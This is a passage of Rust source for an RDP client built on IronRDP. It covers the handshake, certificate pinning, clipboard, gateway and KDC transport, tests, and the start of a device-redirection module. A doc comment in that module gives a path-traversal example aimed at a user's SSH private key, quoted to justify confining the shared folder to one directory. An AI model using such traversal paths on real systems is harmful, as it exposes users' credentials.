use ironrdp::connector::{self, ClientConnector, ConnectionResult, Credentials, Sequence, ServerName};
use ironrdp::displaycontrol::client::DisplayControlClient;
use ironrdp::dvc::DrdynvcClient;
use ironrdp::graphics::image_processing::PixelFormat;
use ironrdp::input::Database;
pub use ironrdp::input::{MouseButton, MousePosition, Operation, Scancode, WheelRotations};
use ironrdp::pdu::gcc::KeyboardType;
use ironrdp::pdu::rdp::capability_sets::MajorPlatformType;
use ironrdp::pdu::rdp::client_info::{PerformanceFlags, TimezoneInfo};
use ironrdp::session::image::DecodedImage;
use ironrdp::session::{ActiveStageBuilder, ActiveStageOutput, fast_path};
use ironrdp_blocking::Framed;
use parking_lot::Mutex;
use sha2::{Digest, Sha256};
use std::net::TcpStream;
use std::sync::Arc;
use std::sync::mpsc::{self, Receiver, Sender};
use std::time::Duration;
/// Opens the TCP stream to the RDP server (directly, via a proxy or through an SSH tunnel).
pub type Dial = Arc<dyn Fn() -> Result<TcpStream> + Send + Sync>;
/// Decides whether to trust the server certificate, given its `SHA256:<base64>` fingerprint.
pub type CertCheck = Arc<dyn Fn(&str) -> std::result::Result<(), String> + Send + Sync>;
#[derive(Clone)]
pub struct Config {
/// Used for the TLS server name and CredSSP's target name.
pub host: String,
pub username: String,
pub domain: String,
pub password: zeroize::Zeroizing<String>,
pub width: u16,
pub height: u16,
/// Also allow plain TLS (graphical logon) for servers without NLA, such as xrdp.
pub allow_tls_only: bool,
/// Play the remote desktop's sound locally.
pub audio: bool,
/// Kerberos instead of NTLM: the KDC as `host` or `host:port` (TCP).
pub kerberos_kdc: Option<String>,
/// A local folder to share as a drive (Unix only), and the name it appears under.
pub shared_folder: Option<(std::path::PathBuf, String)>,
/// Offer a printer; jobs are saved as PostScript in this folder.
pub printer: Option<(std::path::PathBuf, super::rdp_devices::PrintedFn)>,
pub dial: Dial,
pub check_cert: CertCheck,
pub connect_timeout: Duration,
pub on_frame: FrameFn,
/// Text the remote desktop copied (the app applies its remote-clipboard preference).
pub on_clipboard: ClipboardFn,
pub on_error: ErrorFn,
pub on_close: CloseFn,
}
enum Input {
Ops(Vec<Operation>),
Resize(u16, u16),
/// Offer local clipboard text to the remote desktop.
Clipboard(String),
Close,
}
pub struct Client {
cfg: Config,
fb: Arc<Mutex<Framebuffer>>,
tx: Mutex<Option<Sender<Input>>>,
/// Local text offered to the remote clipboard, read by the clipboard channel on request.
clip_text: Arc<Mutex<Option<String>>>,
clip_rx: Mutex<Option<Receiver<ClipboardMessage>>>,
}
type Tls = rustls::StreamOwned<rustls::ClientConnection, TcpStream>;
/// How often the session thread looks for queued input while waiting for server data.
const POLL: Duration = Duration::from_millis(15);
impl Client {
pub fn new(cfg: Config) -> Arc<Client> {
Arc::new(Client { cfg, fb: Arc::default(), tx: Mutex::new(None), clip_text: Arc::default(), clip_rx: Mutex::new(None) })
}
pub fn framebuffer(&self) -> Arc<Mutex<Framebuffer>> {
self.fb.clone()
}
/// Connects and logs on, then runs the session on a new thread.
pub fn connect(self: &Arc<Self>) -> Result<()> {
let (framed, result) = self.handshake()?;
let (tx, rx) = mpsc::channel();
*self.tx.lock() = Some(tx);
let me = self.clone();
let (on_error, on_close) = (self.cfg.on_error.clone(), self.cfg.on_close.clone());
std::thread::Builder::new().name("nexus-rdp".into()).spawn(super::guarded(on_error, on_close, move || {
let r = me.run(framed, result, rx);
let closing = me.tx.lock().take().is_none();
if let Err(e) = r
&& !closing
{
(me.cfg.on_error)(e.to_string());
}
(me.cfg.on_close)();
}))?;
Ok(())
}
/// Mouse and keyboard input, applied in order. `Database` turns repeats into no-ops.
pub fn input(&self, ops: Vec<Operation>) {
self.send(Input::Ops(ops));
}
/// Asks the server to resize the desktop (Display Control channel); ignored when it can't.
pub fn resize(&self, width: u16, height: u16) {
self.send(Input::Resize(width, height));
}
/// Makes `text` the remote clipboard's contents (the remote pastes it on demand).
pub fn set_clipboard(&self, text: String) {
self.send(Input::Clipboard(text));
}
pub fn close(&self) {
if let Some(tx) = self.tx.lock().take() {
let _ = tx.send(Input::Close);
}
}
fn send(&self, i: Input) {
if let Some(tx) = &*self.tx.lock() {
let _ = tx.send(i);
}
}
fn connector_config(&self) -> connector::Config {
let c = &self.cfg;
connector::Config {
credentials: Credentials::UsernamePassword { username: c.username.clone(), password: c.password.to_string() },
domain: (!c.domain.is_empty()).then(|| c.domain.clone()),
enable_tls: c.allow_tls_only,
enable_credssp: true,
keyboard_type: KeyboardType::IbmEnhanced,
keyboard_subtype: 0,
keyboard_layout: 0,
keyboard_functional_keys_count: 12,
ime_file_name: String::new(),
dig_product_id: String::new(),
desktop_size: connector::DesktopSize { width: c.width.clamp(200, 8192), height: c.height.clamp(200, 8192) },
bitmap: None,
client_build: 0,
client_name: "Nexus Terminal".into(),
client_dir: "C:\\Windows\\System32\\mstscax.dll".into(),
platform: if cfg!(windows) {
MajorPlatformType::WINDOWS
} else if cfg!(target_os = "macos") {
MajorPlatformType::MACINTOSH
} else {
MajorPlatformType::UNIX
},
enable_server_pointer: false,
request_data: None,
// Also hands the credentials to TLS-only servers (xrdp), which would otherwise show their own login screen.
autologon: !c.password.is_empty(),
enable_audio_playback: c.audio,
// ponytail: no bulk compression (the bitmap codecs already compress); enabling it means
// carrying the decompressor across reactivations.
compression_type: None,
pointer_software_rendering: true,
multitransport_flags: None,
performance_flags: PerformanceFlags::default(),
desktop_scale_factor: 0,
hardware_id: None,
license_cache: None,
timezone_info: TimezoneInfo::default(),
alternate_shell: String::new(),
work_dir: String::new(),
}
}
fn handshake(&self) -> Result<(Framed<Tls>, ConnectionResult)> {
let tcp = (self.cfg.dial)()?;
tcp.set_read_timeout(Some(self.cfg.connect_timeout.max(Duration::from_secs(5))))?;
tcp.set_nodelay(true)?;
let local = tcp.local_addr()?;
let mut framed = Framed::new(tcp);
let drdynvc = DrdynvcClient::new().with_dynamic_channel(DisplayControlClient::new(|_| Ok(Vec::new())));
let mut connector = ClientConnector::new(self.connector_config(), local).with_static_channel(drdynvc);
if self.cfg.audio {
connector.attach_static_channel(ironrdp::rdpsnd::client::Rdpsnd::new(Box::new(ironrdp_rdpsnd_native::cpal::RdpsndBackend::new())));
}
if self.cfg.shared_folder.is_some() || self.cfg.printer.is_some() {
let mut devices = super::rdp_devices::Devices::default();
let mut drives = vec![];
#[cfg(unix)]
if let Some((folder, name)) = &self.cfg.shared_folder {
devices = devices.with_drive(folder).map_err(|e| format!("shared folder {}: {e}", folder.display()))?;
drives.push((1, name.clone()));
}
if let Some((dir, on_printed)) = &self.cfg.printer {
devices = devices.with_printer(dir.clone(), on_printed.clone());
}
let mut rdpdr = ironrdp::rdpdr::Rdpdr::new(Box::new(devices), "Nexus".into());
if !drives.is_empty() {
rdpdr = rdpdr.with_drives(Some(drives));
}
if self.cfg.printer.is_some() {
rdpdr = rdpdr.with_printer(2, "Nexus Terminal".into());
}
connector.attach_static_channel(rdpdr);
}
let (clip_tx, clip_rx) = mpsc::channel();
connector.attach_static_channel(CliprdrClient::new(Box::new(TextClipboard {
tx: clip_tx,
text: self.clip_text.clone(),
on_text: self.cfg.on_clipboard.clone(),
})));
*self.clip_rx.lock() = Some(clip_rx);
let should_upgrade = ironrdp_blocking::connect_begin(&mut framed, &mut connector).map_err(|e| format!("RDP connection failed: {e}"))?;
let tcp = framed.into_inner_no_leftover();
let (tls, cert) = tls_upgrade(tcp, &self.cfg.host)?;
// Pin before CredSSP: no credentials leave the machine for an untrusted certificate.
(self.cfg.check_cert)(&fingerprint(&cert))?;
let upgraded = ironrdp_blocking::mark_as_upgraded(should_upgrade, &mut connector);
let mut framed = Framed::new(tls);
let kerberos = match &self.cfg.kerberos_kdc {
Some(kdc) => {
let kdc = if kdc.contains(':') { kdc.clone() } else { format!("{kdc}:88") };
let hostname = std::env::var("HOSTNAME").or_else(|_| std::env::var("COMPUTERNAME")).unwrap_or_else(|_| "nexus".into());
Some(connector::credssp::KerberosConfig::new(Some(format!("tcp://{kdc}")), hostname).map_err(|e| format!("Kerberos: {e}"))?)
}
None => None,
};
let result = ironrdp_blocking::connect_finalize(
upgraded,
connector,
&mut framed,
&mut KdcClient,
ServerName::new(self.cfg.host.clone()),
server_public_key(&cert)?,
kerberos,
)
.map_err(|e| format!("RDP logon failed: {}", describe(&e)))?;
Ok((framed, result))
}
fn run(&self, mut framed: Framed<Tls>, result: ConnectionResult, rx: Receiver<Input>) -> Result<()> {
framed.get_inner_mut().0.sock.set_read_timeout(Some(POLL))?;
let size = result.desktop_size;
let mut image = DecodedImage::new(PixelFormat::RgbA32, size.width, size.height);
*self.fb.lock() = Framebuffer::new_checked(size.width, size.height)?;
let factory = result.activation_factory;
let mut stage = ActiveStageBuilder {
static_channels: result.static_channels,
user_channel_id: result.user_channel_id,
io_channel_id: result.io_channel_id,
message_channel_id: result.message_channel_id,
share_id: result.share_id,
compression_type: result.compression_type,
enable_server_pointer: result.enable_server_pointer,
pointer_software_rendering: result.pointer_software_rendering,
}
.build();
let mut input = Database::new();
let clip_rx = self.clip_rx.lock().take();
// A resize waits here until the Display Control channel is open (it opens after logon).
let mut want_size: Option<(u16, u16)> = None;
loop {
let mut outputs = Vec::new();
loop {
match rx.try_recv() {
Ok(Input::Ops(ops)) => {
let events = input.apply(ops);
if !events.is_empty() {
outputs.extend(stage.process_fastpath_input(&mut image, &events)?);
}
}
Ok(Input::Resize(w, h)) => want_size = Some((w, h)).filter(|&s| s != (image.width(), image.height())),
Ok(Input::Clipboard(text)) => {
*self.clip_text.lock() = Some(text);
if let Some(c) = stage.get_svc_processor_mut::<CliprdrClient>()
&& let Ok(msgs) = c.initiate_copy(&[ClipboardFormat::new(ClipboardFormatId::CF_UNICODETEXT)])
{
outputs.push(ActiveStageOutput::ResponseFrame(stage.process_svc_processor_messages(msgs)?));
}
}
Ok(Input::Close) | Err(mpsc::TryRecvError::Disconnected) => {
for o in stage.graceful_shutdown()? {
if let ActiveStageOutput::ResponseFrame(f) = o {
let _ = framed.write_all(&f);
}
}
return Ok(());
}
Err(mpsc::TryRecvError::Empty) => break,
}
}
// Requests the clipboard backend queued while the stage processed server PDUs.
for msg in clip_rx.iter().flat_map(|rx| rx.try_iter()) {
let Some(c) = stage.get_svc_processor_mut::<CliprdrClient>() else { break };
let msgs = match msg {
ClipboardMessage::SendInitiateCopy(formats) => c.initiate_copy(&formats),
ClipboardMessage::SendFormatData(response) => c.submit_format_data(response),
ClipboardMessage::SendInitiatePaste(format) => c.initiate_paste(format),
_ => continue,
};
if let Ok(msgs) = msgs {
outputs.push(ActiveStageOutput::ResponseFrame(stage.process_svc_processor_messages(msgs)?));
}
}
if let Some((w, h)) = want_size {
let (w, h) = ironrdp::displaycontrol::pdu::MonitorLayoutEntry::adjust_display_size(w.into(), h.into());
if let Some(frame) = stage.encode_resize(w, h, None, None) {
outputs.push(ActiveStageOutput::ResponseFrame(frame?));
want_size = None;
}
}
match framed.read_pdu() {
Ok((action, payload)) => outputs.extend(stage.process(&mut image, action, &payload)?),
Err(e) if matches!(e.kind(), std::io::ErrorKind::WouldBlock | std::io::ErrorKind::TimedOut) => {}
Err(e) => return Err(format!("RDP connection lost: {e}").into()),
}
for out in outputs {
match out {
ActiveStageOutput::ResponseFrame(frame) => framed.write_all(&frame)?,
ActiveStageOutput::GraphicsUpdate(r) => {
copy_rect(&image, &mut self.fb.lock(), r.left, r.top, r.right, r.bottom);
(self.cfg.on_frame)();
}
ActiveStageOutput::DeactivateAll => {
// Deactivation-Reactivation (e.g. after a resize): new desktop size and channel state.
framed.get_inner_mut().0.sock.set_read_timeout(Some(self.cfg.connect_timeout.max(Duration::from_secs(5))))?;
let mut seq = factory.create();
let mut buf = ironrdp::core::WriteBuf::new();
loop {
sequence_step(&mut framed, &mut seq, &mut buf).map_err(|e| format!("RDP reactivation failed: {e}"))?;
if let ConnectionActivationState::Finalized { desktop_size, share_id, enable_server_pointer, pointer_software_rendering } =
seq.connection_activation_state()
{
image = DecodedImage::new(PixelFormat::RgbA32, desktop_size.width, desktop_size.height);
*self.fb.lock() = Framebuffer::new_checked(desktop_size.width, desktop_size.height)?;
stage.set_fastpath_processor(
fast_path::ProcessorBuilder {
io_channel_id: seq.io_channel_id(),
user_channel_id: seq.user_channel_id(),
share_id,
enable_server_pointer,
pointer_software_rendering,
bulk_decompressor: None,
}
.build(),
);
stage.set_share_id(share_id);
stage.set_enable_server_pointer(enable_server_pointer);
break;
}
}
framed.get_inner_mut().0.sock.set_read_timeout(Some(POLL))?;
(self.cfg.on_frame)();
}
ActiveStageOutput::Terminate(reason) => return Err(format!("RDP session ended: {reason}").into()),
_ => {}
}
}
}
}
}
/// Text-only clipboard sharing (CF_UNICODETEXT) over CLIPRDR. Callbacks run inside the active
/// stage, so they queue requests for the session loop instead of answering directly.
struct TextClipboard {
tx: Sender<ClipboardMessage>,
text: Arc<Mutex<Option<String>>>,
on_text: ClipboardFn,
}
impl std::fmt::Debug for TextClipboard {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("TextClipboard")
}
}
impl ironrdp::core::AsAny for TextClipboard {
fn as_any(&self) -> &dyn std::any::Any {
self
}
fn as_any_mut(&mut self) -> &mut dyn std::any::Any {
self
}
}
impl CliprdrBackend for TextClipboard {
fn temporary_directory(&self) -> &str {
""
}
fn client_capabilities(&self) -> ClipboardGeneralCapabilityFlags {
ClipboardGeneralCapabilityFlags::empty()
}
fn on_ready(&mut self) {}
fn on_request_format_list(&mut self) {
let formats = if self.text.lock().is_some() { vec![ClipboardFormat::new(ClipboardFormatId::CF_UNICODETEXT)] } else { vec![] };
let _ = self.tx.send(ClipboardMessage::SendInitiateCopy(formats));
}
fn on_process_negotiated_capabilities(&mut self, _: ClipboardGeneralCapabilityFlags) {}
fn on_remote_copy(&mut self, formats: &[ClipboardFormat]) {
if formats.iter().any(|f| f.id() == ClipboardFormatId::CF_UNICODETEXT) {
let _ = self.tx.send(ClipboardMessage::SendInitiatePaste(ClipboardFormatId::CF_UNICODETEXT));
}
}
fn on_format_data_request(&mut self, request: FormatDataRequest) {
let response = match &*self.text.lock() {
Some(t) if request.format == ClipboardFormatId::CF_UNICODETEXT => FormatDataResponse::new_unicode_string(t),
_ => FormatDataResponse::new_error(),
};
let _ = self.tx.send(ClipboardMessage::SendFormatData(ironrdp::core::IntoOwned::into_owned(response)));
}
fn on_format_data_response(&mut self, response: FormatDataResponse<'_>) {
if !response.is_error()
&& let Ok(text) = response.to_unicode_string()
{
(self.on_text)(text);
}
}
fn on_file_contents_request(&mut self, _: FileContentsRequest) {}
fn on_file_contents_response(&mut self, _: FileContentsResponse<'_>) {}
fn on_lock(&mut self, _: LockDataId) {}
fn on_unlock(&mut self, _: LockDataId) {}
}
/// One step of a connection sequence: read the PDU it waits for (if any), answer if it says to.
fn sequence_step(framed: &mut Framed<Tls>, seq: &mut dyn Sequence, buf: &mut ironrdp::core::WriteBuf) -> Result<()> {
buf.clear();
let written = match seq.next_pdu_hint() {
Some(hint) => {
let pdu = framed.read_by_hint(hint)?;
seq.step(&pdu, buf)?
}
None => seq.step_no_input(buf)?,
};
if written.size().is_some() {
framed.write_all(buf.filled())?;
}
Ok(())
}
/// Copies an updated rectangle (inclusive bounds) from the decoder's image into the shared
/// framebuffer, forcing opaque alpha (RDP leaves it undefined).
fn copy_rect(image: &DecodedImage, fb: &mut Framebuffer, left: u16, top: u16, right: u16, bottom: u16) {
if (fb.width, fb.height) != (image.width(), image.height()) {
return;
}
let (w, stride) = (fb.width as usize, image.stride());
let (x0, x1) = (left as usize, (right as usize).min(w.saturating_sub(1)));
let (y0, y1) = (top as usize, (bottom as usize).min(fb.height as usize - 1));
if x0 > x1 || y0 > y1 {
return;
}
let data = image.data();
for y in y0..=y1 {
let (s, d) = (y * stride + x0 * 4, (y * w + x0) * 4);
let n = (x1 - x0 + 1) * 4;
fb.rgba[d..d + n].copy_from_slice(&data[s..s + n]);
fb.rgba[d..d + n].as_chunks_mut::<4>().0.iter_mut().for_each(|p| p[3] = 255);
}
fb.dirty = true;
}
/// A transport through an RD Gateway (MS-TSGU over HTTPS WebSocket, Basic authentication). The
/// gateway's certificate is verified against the web PKI. The async gateway stream is bridged to
/// a loopback socket so the blocking RDP client can use it like any other connection.
pub fn gateway_dial(endpoint: String, user: String, password: zeroize::Zeroizing<String>, server: String, port: u16) -> Dial {
Arc::new(move || {
let endpoint = if endpoint.contains(':') { endpoint.clone() } else { format!("{endpoint}:443") };
let target = ironrdp_mstsgu::GwConnectTarget {
gw_endpoint: endpoint,
gw_user: user.clone(),
gw_pass: password.to_string(),
server: server.clone(),
server_port: port,
};
let (gw, _) = super::rt()
.block_on(ironrdp_mstsgu::GwClient::connect(&target, "Nexus Terminal"))
.map_err(|e| format!("RD Gateway {}: {}", target.gw_endpoint, error_chain(&e)))?;
let (client, server_end) = super::ssh::loopback_pair()?;
server_end.set_nonblocking(true)?;
super::rt().spawn(async move {
if let Ok(mut local) = tokio::net::TcpStream::from_std(server_end) {
let mut gw = gw;
let _ = tokio::io::copy_bidirectional(&mut local, &mut gw).await;
}
});
Ok(client)
})
}
/// `SHA256:<unpadded base64>` of the certificate, the format SSH host keys use.
pub fn fingerprint(cert_der: &[u8]) -> String {
use base64::Engine;
format!("SHA256:{}", base64::engine::general_purpose::STANDARD_NO_PAD.encode(Sha256::digest(cert_der)))
}
fn server_public_key(cert_der: &[u8]) -> Result<Vec<u8>> {
use x509_cert::der::Decode;
let cert = x509_cert::Certificate::from_der(cert_der).map_err(|e| format!("RDP server certificate is unreadable: {e}"))?;
Ok(cert.tbs_certificate.subject_public_key_info.subject_public_key.as_bytes().ok_or("RDP server public key is malformed")?.to_vec())
}
/// TLS without CA validation (RDP servers use self-signed certificates): the handshake still
/// proves possession of the certificate's key, and the caller pins its fingerprint.
fn tls_upgrade(mut tcp: TcpStream, host: &str) -> Result<(Tls, Vec<u8>)> {
let provider = Arc::new(rustls::crypto::ring::default_provider());
let config = rustls::ClientConfig::builder_with_provider(provider.clone())
.with_safe_default_protocol_versions()?
.dangerous()
.with_custom_certificate_verifier(Arc::new(Pinned(provider)))
.with_no_client_auth();
let name = rustls::pki_types::ServerName::try_from(host.to_string()).map_err(|e| format!("invalid RDP host name {host:?}: {e}"))?;
let mut conn = rustls::ClientConnection::new(Arc::new(config), name)?;
while conn.is_handshaking() {
conn.complete_io(&mut tcp).map_err(|e| format!("RDP TLS handshake failed: {e}"))?;
}
let cert = conn.peer_certificates().and_then(|c| c.first()).ok_or("RDP server sent no certificate")?.to_vec();
Ok((rustls::StreamOwned::new(conn, tcp), cert))
}
#[derive(Debug)]
struct Pinned(Arc<rustls::crypto::CryptoProvider>);
impl rustls::client::danger::ServerCertVerifier for Pinned {
fn verify_server_cert(
&self,
_: &rustls::pki_types::CertificateDer<'_>,
_: &[rustls::pki_types::CertificateDer<'_>],
_: &rustls::pki_types::ServerName<'_>,
_: &[u8],
_: rustls::pki_types::UnixTime,
) -> std::result::Result<rustls::client::danger::ServerCertVerified, rustls::Error> {
Ok(rustls::client::danger::ServerCertVerified::assertion())
}
fn verify_tls12_signature(
&self,
message: &[u8],
cert: &rustls::pki_types::CertificateDer<'_>,
dss: &rustls::DigitallySignedStruct,
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls12_signature(message, cert, dss, &self.0.signature_verification_algorithms)
}
fn verify_tls13_signature(
&self,
message: &[u8],
cert: &rustls::pki_types::CertificateDer<'_>,
dss: &rustls::DigitallySignedStruct,
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls13_signature(message, cert, dss, &self.0.signature_verification_algorithms)
}
fn supported_verify_schemes(&self) -> Vec<rustls::SignatureScheme> {
self.0.signature_verification_algorithms.supported_schemes()
}
}
/// CredSSP's channel to the Kerberos KDC (NTLM never uses it). TCP only, which every KDC serves;
/// replies are capped so a hostile KDC can't force a huge allocation.
struct KdcClient;
const MAX_KDC_REPLY: u32 = 1 << 20;
impl connector::sspi::network_client::NetworkClient for KdcClient {
fn send(&self, req: &connector::sspi::NetworkRequest) -> connector::sspi::Result<Vec<u8>> {
use connector::sspi::{Error, ErrorKind, network_client::NetworkProtocol};
use std::io::{Read, Write};
let fail = |e: String| Error::new(ErrorKind::NoAuthenticatingAuthority, e);
if req.protocol != NetworkProtocol::Tcp {
return Err(fail(format!("KDC over {:?} is not supported; use a tcp:// KDC", req.protocol)));
}
let host = req.url.host_str().ok_or_else(|| fail("KDC URL has no host".into()))?;
let port = req.url.port().unwrap_or(88);
let mut s = super::proxy::Proxy::default().connect(host, port, Duration::from_secs(5)).map_err(|e| fail(format!("KDC {host}:{port}: {e}")))?;
s.set_read_timeout(Some(Duration::from_secs(10))).map_err(|e| fail(e.to_string()))?;
// The request is already length-prefixed (RFC 4120 7.2.2); so is the reply.
s.write_all(&req.data).map_err(|e| fail(e.to_string()))?;
let mut len = [0u8; 4];
s.read_exact(&mut len).map_err(|e| fail(e.to_string()))?;
let n = u32::from_be_bytes(len);
if n > MAX_KDC_REPLY {
return Err(fail(format!("KDC reply of {n} bytes is too large")));
}
let mut buf = len.to_vec();
buf.resize(4 + n as usize, 0);
s.read_exact(&mut buf[4..]).map_err(|e| fail(e.to_string()))?;
Ok(buf)
}
}
/// IronRDP errors carry their cause in a chain; surface the useful part.
fn describe(e: &connector::ConnectorError) -> String {
error_chain(e)
}
fn error_chain(e: &dyn std::error::Error) -> String {
let mut s = e.to_string();
let mut src = e.source();
while let Some(c) = src {
s = format!("{s}: {c}");
src = c.source();
}
s
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn kdc_client_speaks_length_prefixed_tcp_and_caps_replies() {
use connector::sspi::network_client::{NetworkClient, NetworkProtocol};
use std::io::{Read, Write};
let kdc = |reply: Vec<u8>| {
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
let (mut s, _) = l.accept().unwrap();
let mut req = [0u8; 7];
s.read_exact(&mut req).unwrap();
assert_eq!(req, [0, 0, 0, 3, b'a', b's', b'k']);
s.write_all(&reply).unwrap();
});
connector::sspi::NetworkRequest {
protocol: NetworkProtocol::Tcp,
url: format!("tcp://127.0.0.1:{port}").parse().unwrap(),
data: b"\0\0\0\x03ask".to_vec(),
}
};
assert_eq!(KdcClient.send(&kdc(b"\0\0\0\x02ok".to_vec())).unwrap(), b"\0\0\0\x02ok");
let err = KdcClient.send(&kdc(vec![0xff, 0xff, 0xff, 0xff])).unwrap_err();
assert!(err.to_string().contains("too large"), "{err}");
let udp = connector::sspi::NetworkRequest { protocol: NetworkProtocol::Udp, url: "udp://127.0.0.1:88".parse().unwrap(), data: vec![] };
assert!(KdcClient.send(&udp).is_err());
}
#[test]
fn fingerprints_like_ssh() {
assert_eq!(fingerprint(b"abc"), "SHA256:ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0");
}
#[test]
fn copies_inclusive_rectangles_with_opaque_alpha() {
let mut image = DecodedImage::new(PixelFormat::RgbA32, 4, 3);
let mut fb = Framebuffer::new_checked(4, 3).unwrap();
fb.rgba.fill(0);
copy_rect(&image, &mut fb, 1, 1, 2, 1);
let alpha: Vec<u8> = fb.rgba.chunks(4).map(|p| p[3]).collect();
assert_eq!(alpha, [0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0]);
// Out-of-range bounds are clipped, a size mismatch is ignored.
copy_rect(&image, &mut fb, 3, 2, 99, 99);
assert_eq!(fb.rgba[(2 * 4 + 3) * 4 + 3], 255);
image = DecodedImage::new(PixelFormat::RgbA32, 8, 8);
copy_rect(&image, &mut fb, 0, 0, 7, 7);
assert_eq!(fb.rgba[3], 0);
}
/// `NEXUS_RDP_TEST="host port user password" cargo test -p nexus-core rdp::tests::live -- --ignored --nocapture`
#[test]
#[ignore]
fn live() {
let spec = std::env::var("NEXUS_RDP_TEST").expect("NEXUS_RDP_TEST");
let v: Vec<&str> = spec.split_whitespace().collect();
let (host, port) = (v[0].to_string(), v[1].parse::<u16>().unwrap());
let frames = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let (f2, h2) = (frames.clone(), host.clone());
let seen_cert = Arc::new(Mutex::new(String::new()));
let sc = seen_cert.clone();
let c = Client::new(Config {
host: host.clone(),
username: v[2].into(),
domain: String::new(),
password: zeroize::Zeroizing::new(v[3].into()),
width: 1024,
height: 768,
allow_tls_only: true,
audio: std::env::var("NEXUS_RDP_AUDIO").is_ok(),
kerberos_kdc: None,
shared_folder: std::env::var("NEXUS_RDP_SHARE").ok().map(|p| (p.into(), "nexus".into())),
printer: std::env::var("NEXUS_RDP_PRINT").ok().map(|p| (p.into(), Arc::new(|f: std::path::PathBuf| eprintln!("printed {}", f.display())) as _)),
dial: Arc::new(move || Ok(TcpStream::connect((h2.as_str(), port))?)),
check_cert: Arc::new(move |fp| {
*sc.lock() = fp.to_string();
Ok(())
}),
connect_timeout: Duration::from_secs(15),
on_frame: Arc::new(move || {
f2.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
}),
on_clipboard: Arc::new(|t| eprintln!("remote clipboard: {t:?}")),
on_error: Arc::new(|e| eprintln!("on_error: {e}")),
on_close: Arc::new(|| eprintln!("on_close")),
});
c.connect().unwrap();
eprintln!("cert {}", seen_cert.lock());
let t = std::time::Instant::now();
while frames.load(std::sync::atomic::Ordering::SeqCst) < 5 && t.elapsed() < Duration::from_secs(20) {
std::thread::sleep(Duration::from_millis(100));
}
c.input(vec![Operation::MouseMove(MousePosition { x: 100, y: 100 })]);
c.input(vec![Operation::KeyPressed(Scancode::from_u8(false, 0x1e)), Operation::KeyReleased(Scancode::from_u8(false, 0x1e))]);
std::thread::sleep(Duration::from_secs(2));
if std::env::var("NEXUS_RDP_CLIP").is_ok() {
c.set_clipboard("from-nexus-123".into());
std::thread::sleep(Duration::from_secs(25));
}
let fb = c.framebuffer().lock().clone();
eprintln!("frames {} size {}x{}", frames.load(std::sync::atomic::Ordering::SeqCst), fb.width, fb.height);
if let Ok(out) = std::env::var("NEXUS_RDP_PNG") {
image::DynamicImage::ImageRgba8(image::RgbaImage::from_raw(fb.width.into(), fb.height.into(), fb.rgba.clone()).unwrap())
.to_rgb8()
.save(out)
.unwrap();
}
assert!(frames.load(std::sync::atomic::Ordering::SeqCst) > 0);
c.close();
}
}
+307
View File
@@ -0,0 +1,307 @@
//! RDP device redirection: a shared folder as a drive, and a virtual printer whose jobs are saved
//! as PostScript files.
//!
//! The drive is confined to one folder. IronRDP's native backend joins the server's paths onto
//! the share without checking them, so a hostile server could reach `\..\..\.ssh\id_ed25519`.
//! Every path the server sends is checked here first: no `..` components, and after resolving
//! symlinks it must stay inside the share. Drives are Unix only (the native backend has no Windows
//! implementation); the printer works everywhere.
use ironrdp::core::impl_as_any;
use ironrdp::pdu::PduResult;
use ironrdp::rdpdr::RdpdrBackend;
use ironrdp::rdpdr::pdu::RdpdrPdu;
use ironrdp::rdpdr::pdu::efs::{
ClientDriveQueryDirectoryResponse, ClientDriveSetInformationResponse, DeviceCloseResponse, DeviceControlRequest, DeviceCreateResponse, DeviceIoResponse,
DeviceWriteResponse, FileInformationClass, Information, NtStatus, PrinterIoRequest, ServerDeviceAnnounceResponse, ServerDriveIoRequest,
};
use ironrdp::rdpdr::pdu::esc::{ScardCall, ScardIoCtlCode};
use ironrdp::svc::SvcMessage;
#[cfg(unix)]
use ironrdp_rdpdr_native::backend::NixRdpdrBackend;
use std::collections::HashMap;
use std::io::Write;
use std::path::{Path, PathBuf};
/// A print job may not grow past this (a hostile server could otherwise fill the disk).
const MAX_PRINT_JOB: u64 = 256 << 20;
/// Called with the file a finished print job was saved to.
pub type PrintedFn = std::sync::Arc<dyn Fn(PathBuf) + Send + Sync>;
#[derive(Default)]
pub struct Devices {
#[cfg(unix)]
drive: Option<ConfinedDrive>,
printer: Option<Spool>,
}
impl std::fmt::Debug for Devices {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("Devices")
}
}
impl_as_any!(Devices);
impl Devices {
#[cfg(unix)]
pub fn with_drive(mut self, folder: &Path) -> std::io::Result<Devices> {
self.drive = Some(ConfinedDrive::new(folder)?);
Ok(self)
}
/// Print jobs go to `dir` as `Nexus print <time>.ps`.
pub fn with_printer(mut self, dir: PathBuf, on_printed: PrintedFn) -> Devices {
self.printer = Some(Spool { dir, on_printed, jobs: HashMap::new(), next_id: 1 });
self
}
}
struct Spool {
dir: PathBuf,
on_printed: PrintedFn,
jobs: HashMap<u32, (std::fs::File, PathBuf, u64)>,
next_id: u32,
}
impl Spool {
fn handle(&mut self, req: PrinterIoRequest) -> PduResult<Vec<SvcMessage>> {
let pdu = match req {
PrinterIoRequest::Create(r) => {
let name = format!("Nexus print {}.ps", chrono::Local::now().format("%Y-%m-%d %H.%M.%S"));
let path = self.dir.join(name);
match std::fs::File::create(&path) {
Ok(f) => {
let id = self.next_id;
self.next_id += 1;
self.jobs.insert(id, (f, path, 0));
RdpdrPdu::DeviceCreateResponse(DeviceCreateResponse {
device_io_reply: DeviceIoResponse::new(r.device_io_request, NtStatus::SUCCESS),
file_id: id,
information: Information::FILE_OPENED,
})
}
Err(e) => {
tracing::warn!(error = %e, dir = %self.dir.display(), "couldn't create a print file");
RdpdrPdu::DeviceCreateResponse(DeviceCreateResponse {
device_io_reply: DeviceIoResponse::new(r.device_io_request, NtStatus::ACCESS_DENIED),
file_id: 0,
information: Information::empty(),
})
}
}
}
PrinterIoRequest::Write(r) => {
let n = r.write_data.len() as u64;
let ok = match self.jobs.get_mut(&r.device_io_request.file_id) {
